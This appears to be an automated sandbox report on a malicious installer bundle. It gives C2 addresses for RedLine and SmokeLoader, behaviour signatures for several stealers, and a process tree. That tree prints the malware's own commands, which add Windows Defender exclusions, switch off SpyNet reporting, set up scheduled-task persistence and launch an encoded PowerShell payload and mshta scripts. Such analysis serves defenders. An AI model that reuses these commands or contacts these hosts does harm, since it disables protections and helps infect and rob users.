Overview

overview

10

Static

static

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

17-09-2021 05:07

210917-fsd9vahfgj 10

16-09-2021 21:19

210916-z553waedb5 10

16-09-2021 21:10

210916-zz1k7sedb4 10

Analysis

  • max time kernel
    297s
  • max time network
    888s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    17-09-2021 05:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    6.5MB

  • MD5

    064f0d6900675bed580da1291a566cfa

  • SHA1

    f81699a68c901d190842de735dbda28a3fb52292

  • SHA256

    7ec88d4baa0a97362a026cf6e0f46422379a99be6d9bfe19034152f3d47cc0ed

  • SHA512

    41dc5c444afd6b5dc0947cf9950acb5aa1081ee9921c748195325b5cfcb23532cea1802959baa59a0c41ed998ba20b509ec107da882d5d8b3bf0b1d17f892738

Score
10/10
gluptebametasploitredlinesmokeloadersocelarsvidaranimedianewaspackv2backdoordiscoverydropperevasioninfostealerloaderpersistencespywarestealersuricatathemidatrojanvmprotect

Malware Config

Extracted

Family

redline

Botnet

ANI

C2

45.142.215.47:27643

Extracted

Family

redline

Botnet

medianew

C2

91.121.67.60:62102

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/
rc4.i32
rc4.i32

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 64 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 26 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 10 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Drops file in Program Files directory 37 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 21 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Kills process with taskkill 9 IoCs
    evasion
  • Modifies data under HKEY_USERS 20 IoCs
  • Modifies registry class 22 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
    evasionspywaretrojan
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 22 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:1004
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Themes
      1⤵
        PID:1192
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s SENS
        1⤵
          PID:1408
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2448
          • C:\Windows\Explorer.EXE
            C:\Windows\Explorer.EXE
            1⤵
            • Modifies registry class
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:3016
            • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
              "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4060
              • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:628
                • C:\Users\Admin\AppData\Local\Temp\7zS47254851\setup_install.exe
                  "C:\Users\Admin\AppData\Local\Temp\7zS47254851\setup_install.exe"
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:3552
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2996
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2344
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Thu20c467678e2c.exe
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:772
                    • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20c467678e2c.exe
                      Thu20c467678e2c.exe
                      6⤵
                      • Executes dropped EXE
                      PID:1732
                      • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:3952
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                          8⤵
                            PID:5472
                            • C:\Windows\system32\schtasks.exe
                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                              9⤵
                              • Creates scheduled task(s)
                              PID:6232
                          • C:\Users\Admin\AppData\Roaming\services64.exe
                            "C:\Users\Admin\AppData\Roaming\services64.exe"
                            8⤵
                            • Executes dropped EXE
                            PID:6668
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                              9⤵
                                PID:8912
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                  10⤵
                                  • Creates scheduled task(s)
                                  PID:9076
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                9⤵
                                  PID:9132
                            • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                              "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3784
                            • C:\Users\Admin\AppData\Local\Temp\2.exe
                              "C:\Users\Admin\AppData\Local\Temp\2.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3292
                              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                8⤵
                                • Executes dropped EXE
                                PID:3640
                            • C:\Users\Admin\AppData\Local\Temp\setup.exe
                              "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:4232
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 804
                                8⤵
                                • Program crash
                                PID:4448
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 828
                                8⤵
                                • Program crash
                                PID:3936
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 872
                                8⤵
                                • Program crash
                                PID:4456
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 1004
                                8⤵
                                • Program crash
                                PID:2296
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 988
                                8⤵
                                • Program crash
                                PID:5304
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 852
                                8⤵
                                • Program crash
                                PID:5436
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 816
                                8⤵
                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                • Program crash
                                PID:4140
                            • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                              "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4424
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Thu20f2cf5e0c.exe
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1000
                          • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20f2cf5e0c.exe
                            Thu20f2cf5e0c.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2460
                            • C:\Users\Admin\AppData\Roaming\6035522.scr
                              "C:\Users\Admin\AppData\Roaming\6035522.scr" /S
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4184
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 4184 -s 1772
                                8⤵
                                • Program crash
                                PID:3992
                            • C:\Users\Admin\AppData\Roaming\6934100.scr
                              "C:\Users\Admin\AppData\Roaming\6934100.scr" /S
                              7⤵
                              • Executes dropped EXE
                              • Checks BIOS information in registry
                              • Checks whether UAC is enabled
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:4668
                            • C:\Users\Admin\AppData\Roaming\6376237.scr
                              "C:\Users\Admin\AppData\Roaming\6376237.scr" /S
                              7⤵
                              • Executes dropped EXE
                              PID:4756
                            • C:\Users\Admin\AppData\Roaming\2424187.scr
                              "C:\Users\Admin\AppData\Roaming\2424187.scr" /S
                              7⤵
                              • Executes dropped EXE
                              • Checks BIOS information in registry
                              • Checks whether UAC is enabled
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:5068
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Thu20dae7c52bc0856.exe
                          5⤵
                            PID:852
                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu20dae7c52bc0856.exe
                              Thu20dae7c52bc0856.exe
                              6⤵
                              • Executes dropped EXE
                              PID:4040
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Thu2026c04e7218e1.exe
                            5⤵
                            • Suspicious use of WriteProcessMemory
                            PID:492
                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu2026c04e7218e1.exe
                              Thu2026c04e7218e1.exe
                              6⤵
                              • Executes dropped EXE
                              PID:2520
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Thu203b503b429e68.exe
                            5⤵
                            • Suspicious use of WriteProcessMemory
                            PID:680
                            • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu203b503b429e68.exe
                              Thu203b503b429e68.exe
                              6⤵
                              • Executes dropped EXE
                              • Modifies system certificate store
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1740
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c taskkill /f /im chrome.exe
                                7⤵
                                  PID:5000
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    8⤵
                                    • Kills process with taskkill
                                    PID:5456
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Thu2094524d5e5b.exe
                              5⤵
                                PID:1132
                                • C:\Users\Admin\AppData\Local\Temp\7zS47254851\Thu2094524d5e5b.exe
                                  Thu2094524d5e5b.exe
                                  6⤵
                                  • Executes dropped EXE
                                  • Checks computer location settings
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2636
                                  • C:\Users\Admin\Documents\heBBqs_LahImez9cTXISm3sL.exe
                                    "C:\Users\Admin\Documents\heBBqs_LahImez9cTXISm3sL.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4904
                                  • C:\Users\Admin\Documents\aEw7IVYp9ImYBAosthEyb_Vt.exe
                                    "C:\Users\Admin\Documents\aEw7IVYp9ImYBAosthEyb_Vt.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4480
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 660
                                      8⤵
                                      • Program crash
                                      PID:5644
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 664
                                      8⤵
                                      • Program crash
                                      PID:5976
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 680
                                      8⤵
                                      • Program crash
                                      PID:4840
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 668
                                      8⤵
                                      • Program crash
                                      PID:580
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 884
                                      8⤵
                                      • Program crash
                                      PID:5412
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 1064
                                      8⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      • Program crash
                                      PID:4280
                                  • C:\Users\Admin\Documents\1h0phBZzBLWzkVnpkOZtHi2d.exe
                                    "C:\Users\Admin\Documents\1h0phBZzBLWzkVnpkOZtHi2d.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Checks processor information in registry
                                    PID:1732
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im 1h0phBZzBLWzkVnpkOZtHi2d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\1h0phBZzBLWzkVnpkOZtHi2d.exe" & del C:\ProgramData\*.dll & exit
                                      8⤵
                                        PID:7212
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /im 1h0phBZzBLWzkVnpkOZtHi2d.exe /f
                                          9⤵
                                          • Kills process with taskkill
                                          PID:7256
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /t 6
                                          9⤵
                                          • Delays execution with timeout.exe
                                          PID:2780
                                    • C:\Users\Admin\Documents\mGjgk5SS9NVxEHIPUmO9JrG6.exe
                                      "C:\Users\Admin\Documents\mGjgk5SS9NVxEHIPUmO9JrG6.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      PID:2132
                                    • C:\Users\Admin\Documents\NqjYNR8bjM917yxgjX4EuQlm.exe
                                      "C:\Users\Admin\Documents\NqjYNR8bjM917yxgjX4EuQlm.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Drops file in Program Files directory
                                      PID:1844
                                      • C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
                                        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
                                        8⤵
                                        • Checks computer location settings
                                        PID:4264
                                        • C:\Users\Admin\Documents\gM_r_G39wRU_XlDfVVF9bMd5.exe
                                          "C:\Users\Admin\Documents\gM_r_G39wRU_XlDfVVF9bMd5.exe"
                                          9⤵
                                            PID:7768
                                          • C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe
                                            "C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe"
                                            9⤵
                                              PID:7540
                                              • C:\Windows\SysWOW64\mshta.exe
                                                "C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF """" =="""" for %q In (""C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )
                                                10⤵
                                                  PID:8792
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "" =="" for %q In ("C:\Users\Admin\Documents\zoXY6PwHLVw2r9j8lAKN2uom.exe" ) do taskkill -iM "%~nxq" /f
                                                    11⤵
                                                      PID:9356
                                                      • C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe
                                                        roBCqJOQYC.eXe -P0_6X2fnCLFU6G
                                                        12⤵
                                                          PID:9368
                                                          • C:\Windows\SysWOW64\mshta.exe
                                                            "C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF ""-P0_6X2fnCLFU6G"" =="""" for %q In (""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )
                                                            13⤵
                                                              PID:7836
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "-P0_6X2fnCLFU6G" =="" for %q In ("C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" ) do taskkill -iM "%~nxq" /f
                                                                14⤵
                                                                  PID:7240
                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                "C:\Windows\System32\rundll32.exe" .\LcGE3.T_v,mPHYMXZs
                                                                13⤵
                                                                • Loads dropped DLL
                                                                PID:8292
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill -iM "zoXY6PwHLVw2r9j8lAKN2uom.exe" /f
                                                              12⤵
                                                              • Kills process with taskkill
                                                              PID:9824
                                                      • C:\Users\Admin\Documents\t1S9iFb6hvQ3SR9LntYKY56B.exe
                                                        "C:\Users\Admin\Documents\t1S9iFb6hvQ3SR9LntYKY56B.exe"
                                                        9⤵
                                                          PID:7572
                                                          • C:\Users\Admin\AppData\Local\Temp\7zSABA2.tmp\Install.exe
                                                            .\Install.exe
                                                            10⤵
                                                              PID:7668
                                                              • C:\Users\Admin\AppData\Local\Temp\7zSAD29.tmp\Install.exe
                                                                .\Install.exe /S /site_id "668658"
                                                                11⤵
                                                                • Checks BIOS information in registry
                                                                • Drops file in System32 directory
                                                                • Enumerates system info in registry
                                                                PID:7940
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                  12⤵
                                                                    PID:9008
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                      13⤵
                                                                        PID:9196
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                          14⤵
                                                                            PID:1084
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                              15⤵
                                                                                PID:8972
                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                  16⤵
                                                                                    PID:5516
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                            12⤵
                                                                              PID:8072
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                13⤵
                                                                                  PID:10152
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                    14⤵
                                                                                      PID:10164
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                      14⤵
                                                                                        PID:644
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                    12⤵
                                                                                      PID:6348
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                        13⤵
                                                                                          PID:9788
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                            14⤵
                                                                                              PID:9656
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                              14⤵
                                                                                                PID:9392
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /CREATE /TN "gJrQmQCBh" /SC once /ST 02:04:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                            12⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:10080
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /run /I /tn "gJrQmQCBh"
                                                                                            12⤵
                                                                                              PID:8204
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                13⤵
                                                                                                  PID:5788
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /DELETE /F /TN "gJrQmQCBh"
                                                                                                12⤵
                                                                                                  PID:7400
                                                                                                  • C:\Windows\System32\Conhost.exe
